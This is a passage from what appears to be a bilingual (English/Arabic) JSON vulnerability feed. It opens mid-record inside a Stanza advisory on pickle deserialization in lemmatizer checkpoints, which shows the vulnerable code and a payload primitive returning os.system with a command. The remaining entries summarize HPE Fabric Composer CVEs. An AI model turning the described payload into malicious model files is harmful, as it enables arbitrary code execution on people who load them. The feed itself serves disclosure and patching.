`bytes` value). `torch.load(weights_only=True)` treats `bytes` as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. `Trainer.load` then feeds those bytes to an **unrestricted `pickle.loads`**: the only bare `pickle.loads` in the tree. Result: `weights_only=True` gives no protection here, and model loading executes code. Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload `__reduce__` returns `(os.system, (cmd,))` ran the command at load time (marker file showed `uid=501(...)`, `executed_by=...`). A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. `stanza.Pipeline(lang=..., processors=\"tokenize,pos,lemma\", lemma_model_path=\"<attacker-influenced .pt>\")` (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into `Trainer.load` -> `_unpack_pos_dict` and executes the embedded pickle at construction time. ## The vulnerable path `stanza/models/lemma/trainer.py`: ```python # _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts'] def _unpack_pos_dict(data): # line 54 buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode=\"rb\") as gz: raw = gz.read() return pickle.loads(raw) # <-- unrestricted default unpickler ``` ```python def load(self, filename, ...): # line 365 checkpoint = torch.load(filename, ..., weights_only=True) # outer allowlist; bytes pass through intact ... if dicts_version == _DICTS_VERSION_POS: # dicts_version == 2 (current format) self.pos_dict = _unpack_pos_dict(checkpoint['dicts']) # line 378, no validation ``` **Reachable from the documented API.** `stanza.Pipeline(..., lemma…","ar":"## TL;DR Loading an attacker-supplied lemma `.pt` runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores `pos_dict` as a gzip-compressed pickle in the checkpoint's `dicts` field (a `bytes` value). `torch.load(weights_only=True)` treats `bytes` as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. `Trainer.load` then feeds those bytes to an **unrestricted `pickle.loads`**: the only bare `pickle.loads` in the tree. Result: `weights_only=True` gives no protection here, and model loading executes code. Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload `__reduce__` returns `(os.system, (cmd,))` ran the command at load time (marker file showed `uid=501(...)`, `executed_by=...`). A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. `stanza.Pipeline(lang=..., processors=\"tokenize,pos,lemma\", lemma_model_path=\"<attacker-influenced .pt>\")` (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into `Trainer.load` -> `_unpack_pos_dict` and executes the embedded pickle at construction time. ## The vulnerable path `stanza/models/lemma/trainer.py`: ```python # _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts'] def _unpack_pos_dict(data): # line 54 buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode=\"rb\") as gz: raw = gz.read() return pickle.loads(raw) # <-- unrestricted default unpickler ``` ```python def load(self, filename, ...): # line 365 checkpoint = torch.load(filename, ..., weights_only=True) # outer allowlist; bytes pass through intact ... if dicts_version == _DICTS_VERSION_POS: # dicts_version == 2 (current format) self.pos_dict = _unpack_pos_dict(checkpoint['dicts']) # line 378, no validation ``` **Reachable from the documented API.** `stanza.Pipeline(..., lemma…"},"refs":[["https://github.com/advisories/GHSA-gh9r-c94j-cmp5","advisory"],["https://github.com/stanfordnlp/stanza/security/advisories/GHSA-gh9r-c94j-cmp5","ref"],["https://github.com/stanfordnlp/stanza/pull/1649","ref"],["https://github.com/stanfordnlp/stanza/commit/b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0","ref"],["https://github.com/stanfordnlp/stanza/releases/tag/v1.15.0","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"stanza"},{"id":"CVE-2026-95746","cvss":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:23Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Authentication Bypass in the API Endpoint of HPE Networking Fabric Composer","ar":"تجاوز المصادقة في نقطة نهايات واجهة برمجة التطبيقات في منتج HPE Networking Fabric Composer"},"summary":{"en":"An authentication bypass vulnerability in the API endpoint of HPE Networking Fabric Composer could allow an unauthenticated adjacent attacker to circumvent existing authentication controls if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain unauthorized access to the affected system.","ar":"توجد ثغرة تجاوز المصادقة في نقطة نهايات واجهة برمجة التطبيقات في منتج HPE Networking Fabric Composer والتي قد تسمح لمهاجم مجاور دون مصادقة بالالتفاف على ضوابط المصادقة الحالية إذا تم استيفاء شروط مسبقة معينة خارجة عن سيطرة المهاجم. قد يتيح الاستغلال الناجح للمهاجم الحصول على وصول غير مصرح به إلى النظام المتأثر."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95747","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:23Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Privilege Escalation in the SSH Interface of HPE Networking Fabric Composer","ar":"تصعيد الصلاحيات في واجهة SSH الخاصة بمنتج HPE Networking Fabric Composer"},"summary":{"en":"A privilege escalation vulnerability exists in the SSH interface of HPE Networking Fabric Composer which could allow an authenticated low-privileged attacker to exceed their authorized level of access, if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain unauthorized access to internal services of the affected system.","ar":"توجد ثغرة تصعيد الصلاحيات في واجهة SSH الخاصة بمنتج HPE Networking Fabric Composer والتي قد تسمح لمهاجم مصادق عليه ذي صلاحيات منخفضة بتجاوز مستوى الوصول المصرح له، إذا تم استيفاء شروط مسبقة معينة خارجة عن سيطرة المهاجم. قد يتيح الاستغلال الناجح للمهاجم الحصول على وصول غير مصرح به إلى الخدمات الداخلية للنظام المتأثر."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95748","cvss":7.5,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:23Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Unauthenticated Adjacent SQL Injection Vulnerability in HPE Networking Fabric Composer","ar":"ثغرة حقن SQL مجاورة دون مصادقة في منتج HPE Networking Fabric Composer"},"summary":{"en":"A SQL injection vulnerability exists in HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated adjacent attacker to run arbitrary database commands.","ar":"توجد ثغرة حقن SQL في منتج HPE Networking Fabric Composer. قد يتيح الاستغلال الناجح لمهاجم مجاور دون مصادقة تشغيل أوامر قاعدة بيانات عشوائية."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95749","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:23Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Unauthenticated Missing Integrity Verification in HPE Networking Fabric Composer","ar":"غياب التحقق من السلامة دون مصادقة في منتج HPE Networking Fabric Composer"},"summary":{"en":"A missing integrity verification vulnerability exists in HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated remote attacker to execute arbitrary code on the affected system.","ar":"توجد ثغرة غياب التحقق من السلامة في منتج HPE Networking Fabric Composer. قد يتيح الاستغلال الناجح لمهاجم عن بُعد دون مصادقة تنفيذ شيفرة عشوائية على النظام المتأثر."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95750","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:23Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Unauthenticated Improper Certificate Validation in HPE Networking Fabric Composer","ar":"التحقق غير السليم من الشهادات دون مصادقة في منتج HPE Networking Fabric Composer"},"summary":{"en":"An improper certificate validation vulnerability in HPE Networking Fabric Composer could allow an unauthenticated remote attacker to access sensitive information if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to obtain sensitive information, including credentials.","ar":"قد تتيح ثغرة التحقق غير السليم من الشهادات في منتج HPE Networking Fabric Composer لمهاجم عن بُعد دون مصادقة الوصول إلى معلومات حساسة إذا تم استيفاء شروط مسبقة معينة خارجة عن سيطرة المهاجم. قد يتيح الاستغلال الناجح للمهاجم الحصول على معلومات حساسة، بما في ذلك بيانات الاعتماد."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95751","cvss":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:23Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Unauthenticated Improper Certificate Validation Leads to Authentication Bypass in HPE Networking Fabric Composer","ar":"التحقق غير السليم من الشهادات دون مصادقة يؤدي إلى تجاوز المصادقة في منتج HPE Networking Fabric Composer"},"summary":{"en":"An improper certificate validation vulnerability in the API of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to circumvent existing authentication controls if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain unauthorized access to the affected system.","ar":"قد تتيح ثغرة التحقق غير السليم من الشهادات في واجهة برمجة التطبيقات الخاصة بمنتج HPE Networking Fabric Composer لمهاجم عن بُعد دون مصادقة الالتفاف على ضوابط المصادقة الحالية إذا تم استيفاء شروط مسبقة معينة خارجة عن سيطرة المهاجم. قد يتيح الاستغلال الناجح للمهاجم الحصول على وصول غير مصرح به إلى النظام المتأثر."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95752","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","cwe":null,"tags":["LPE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:23Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Local Privilege Escalation in HPE Networking Fabric Composer","ar":"تصعيد الصلاحيات المحلي في منتج HPE Networking Fabric Composer"},"summary":{"en":"A local privilege escalation vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow a low-privileged local attacker to elevate their privileges on the affected system.","ar":"توجد ثغرة تصعيد صلاحيات محلي في واجهة برمجة التطبيقات الخاصة بمنتج HPE Networking Fabric Composer. قد يتيح الاستغلال الناجح لمهاجم محلي ذي صلاحيات منخفضة رفع صلاحياته على النظام المتأثر."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95753","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:23Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Privilege Escalation in HPE Networking Fabric Composer API","ar":"تصعيد الصلاحيات في واجهة برمجة التطبيقات لمنتج HPE Networking Fabric Composer"},"summary":{"en":"A privilege escalation vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated attacker with low privileges to disclose network traffic from switches managed by Fabric Composer.","ar":"توجد ثغرة تصعيد الصلاحيات في واجهة برمجة التطبيقات الخاصة بمنتج HPE Networking Fabric Composer. قد يتيح الاستغلال الناجح لمهاجم يملك حسابًا مصادقًا عليه ذي صلاحيات منخفضة كشف حركة مرور الشبكة من المحولات المُدارة بواسطة Fabric Composer."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95738","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:22Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Authentication Bypass in the Affected Interface of HPE Networking Fabric Composer","ar":"تجاوز المصادقة في الواجهة المتأثرة من منتج HPE Networking Fabric Composer"},"summary":{"en":"Authentication bypass vulnerabilities in the affected interface of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to circumvent existing authentication controls if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain administrative access to the affected system.","ar":"قد تتيح ثغرات تجاوز المصادقة في الواجهة المتأثرة من منتج HPE Networking Fabric Composer لمهاجم عن بُعد دون مصادقة الالتفاف على ضوابط المصادقة الحالية إذا تم استيفاء شروط مسبقة معينة خارجة عن سيطرة المهاجم. قد يتيح الاستغلال الناجح للمهاجم الحصول على وصول إداري إلى النظام المتأثر."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95739","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:22Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Unauthenticated Improper Restriction of Excessive Authentication Attempts in the API of HPE Networking Fabric Composer","ar":"تقييد غير سليم لمحاولات المصادقة المفرطة دون مصادقة في واجهة برمجة التطبيقات لمنتج HPE Networking Fabric Composer"},"summary":{"en":"An improper restriction of excessive authentication attempts vulnerability in the API of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to conduct brute-force attacks against user accounts if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain administrative access to the affected system.","ar":"قد تتيح ثغرة التقييد غير السليم لمحاولات المصادقة المفرطة في واجهة برمجة التطبيقات الخاصة بمنتج HPE Networking Fabric Composer لمهاجم عن بُعد دون مصادقة تنفيذ هجمات القوة الغاشمة ضد حسابات المستخدمين إذا تم استيفاء شروط مسبقة معينة خارجة عن سيطرة المهاجم. قد يتيح الاستغلال الناجح للمهاجم الحصول على وصول إداري إلى النظام المتأثر."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95740","cvss":8,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:22Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Unauthenticated Adjacent Improper Certificate Validation Vulnerability leads to Information Disclosure in HPE Networking Fabric Composer","ar":"ثغرة التحقق غير السليم من الشهادات، والمتاحة للمهاجمين المتواجدين على نفس الشبكة دون مصادقة، تؤدي إلى كشف معلومات في HPE Networking Fabric Composer"},"summary":{"en":"An improper certificate validation vulnerability in HPE Networking Fabric Composer could allow an unauthenticated adjacent attacker to intercept communications between the affected system and remote servers if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to obtain sensitive information.","ar":"توجد ثغرة تحقق غير سليم من الشهادات في HPE Networking Fabric Composer، والتي قد تسمح لمهاجم متواجد على نفس الشبكة دون مصادقة باعتراض الاتصالات بين النظام المتأثر والخوادم البعيدة إذا تم استيفاء شروط مسبقة معينة خارجة عن سيطرة المهاجم. قد يتيح الاستغلال الناجح للمهاجم الحصول على معلومات حساسة."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95741","cvss":8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:22Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Authenticated Missing Integrity Verification in API of HPE Networking Fabric Composer","ar":"غياب التحقق من السلامة في واجهة برمجة التطبيقات (API) الخاصة بـ HPE Networking Fabric Composer لمهاجم يملك حسابًا مصادقًا عليه"},"summary":{"en":"A missing integrity verification vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow a low-privileged authenticated attacker to gain elevated privileges on the affected system.","ar":"توجد ثغرة غياب التحقق من السلامة في واجهة برمجة التطبيقات (API) الخاصة بـ HPE Networking Fabric Composer. قد يتيح الاستغلال الناجح لمهاجم يملك حسابًا مصادقًا عليه بصلاحيات منخفضة الحصول على صلاحيات مرتفعة على النظام المتأثر."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95742","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:22Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Authenticated Local Arbitrary File Write Vulnerability in HPE Networking Fabric Composer","ar":"ثغرة كتابة ملفات عشوائية محلياً لمهاجم يملك حسابًا مصادقًا عليه في HPE Networking Fabric Composer"},"summary":{"en":"An arbitrary file write vulnerability exists in the underlying operating system of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated local attacker to create or overwrite arbitrary files on the affected system with elevated privileges.","ar":"توجد ثغرة كتابة ملفات عشوائية في نظام التشغيل الأساسي لـ HPE Networking Fabric Composer. قد يتيح الاستغلال الناجح لمهاجم محلي يملك حسابًا مصادقًا عليه إنشاء أو الكتابة فوق ملفات عشوائية على النظام المتأثر بصلاحيات مرتفعة."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95743","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":["LPE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:22Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Local Privilege Escalation Vulnerabilities in HPE Networking Fabric Composer","ar":"ثغرات تصعيد الصلاحيات محلياً في HPE Networking Fabric Composer"},"summary":{"en":"Local privilege escalation vulnerabilities exist in the underlying operating system of HPE Networking Fabric Composer. Successful exploitation could allow a local attacker with low privileges to gain elevated privileges on the affected system.","ar":"توجد ثغرات تصعيد الصلاحيات محلياً في نظام التشغيل الأساسي لـ HPE Networking Fabric Composer. قد يتيح الاستغلال الناجح لمهاجم محلي ذي صلاحيات منخفضة الحصول على صلاحيات مرتفعة على النظام المتأثر."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95744","cvss":7.7,"vector":"CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:22Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Authenticated Adjacent Sensitive Information Disclosure in HPE Networking Fabric Composer","ar":"كشف معلومات حساسة لمهاجم يملك حسابًا مصادقًا عليه ومتواجد على نفس الشبكة في HPE Networking Fabric Composer"},"summary":{"en":"A sensitive information disclosure vulnerability in the affected interface of HPE Networking Fabric Composer could allow an authenticated low-privileged attacker to access sensitive information, if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to intercept protected network traffic.","ar":"ثغرة كشف معلومات حساسة في الواجهة المتأثرة لـ HPE Networking Fabric Composer قد تسمح لمهاجم يملك حسابًا مصادقًا عليه وذي صلاحيات منخفضة بالوصول إلى معلومات حساسة، إذا تم استيفاء شروط مسبقة معينة خارجة عن سيطرة المهاجم. قد يتيح الاستغلال الناجح للمهاجم اعتراض حركة مرور الشبكة المحمية."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95745","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:22Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Unauthenticated Remote Denial-of-Service (DoS) Vulnerability in the API of HPE Networking Fabric Composer","ar":"ثغرة حجب الخدمة (DoS) عن بُعد دون مصادقة في واجهة برمجة التطبيقات (API) الخاصة بـ HPE Networking Fabric Composer"},"summary":{"en":"A vulnerability in the API of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to cause the management services to become unavailable.","ar":"ثغرة في واجهة برمجة التطبيقات (API) الخاصة بـ HPE Networking Fabric Composer قد تسمح لمهاجم عن بُعد دون مصادقة بتنفيذ هجوم حجب الخدمة. قد يتيح الاستغلال الناجح للمهاجم جعل خدمات الإدارة غير متوفرة."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95731","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:21Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Unauthenticated Hardcoded Password Vulnerabilities in HPE Networking Fabric Composer Command-Line Interface allow Unauthorized Administrative Access","ar":"ثغرات كلمات المرور المضمنة الثابتة دون مصادقة في واجهة سطر الأوامر لـ HPE Networking Fabric Composer تتيح وصولاً إدارياً غير مصرح به"},"summary":{"en":"Hardcoded password vulnerabilities in the command-line interface of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to access the affected system using hardcoded credentials. Successful exploitation could allow an attacker to gain unauthorized administrative access to the affected system with elevated privileges.","ar":"ثغرات كلمات المرور المضمنة الثابتة في واجهة سطر الأوامر لـ HPE Networking Fabric Composer قد تسمح لمهاجم عن بُعد دون مصادقة بالوصول إلى النظام المتأثر باستخدام بيانات اعتماد مضمنة. قد يتيح الاستغلال الناجح للمهاجم الحصول على وصول إداري غير مصرح به إلى النظام المتأثر بصلاحيات مرتفعة."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95732","cvss":9.6,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:21Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Authentication Bypass in HPE Networking Fabric Composer allows Arbitrary Code Execution","ar":"تجاوز المصادقة في HPE Networking Fabric Composer يتيح تنفيذ شيفرة عشوائية"},"summary":{"en":"An authentication bypass vulnerability exists in the underlying operating system of HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated adjacent attacker to execute arbitrary code on the affected system.","ar":"توجد ثغرة تجاوز المصادقة في نظام التشغيل الأساسي لـ HPE Networking Fabric Composer. قد يتيح الاستغلال الناجح لمهاجم متواجد على نفس الشبكة دون مصادقة تنفيذ شيفرة عشوائية على النظام المتأثر."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95733","cvss":9.6,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:21Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Use of Hardcoded Credentials in HPE Networking Fabric Composer Could Allow Adjacent Arbitrary Code Execution","ar":"استخدام بيانات اعتماد مضمنة ثابته في HPE Networking Fabric Composer قد يسمح بتنفيذ شيفرة عشوائية للمهاجمين المتواجدين على نفس الشبكة"},"summary":{"en":"A vulnerability exists in a component of HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated adjacent attacker to execute arbitrary code on the affected system.","ar":"توجد 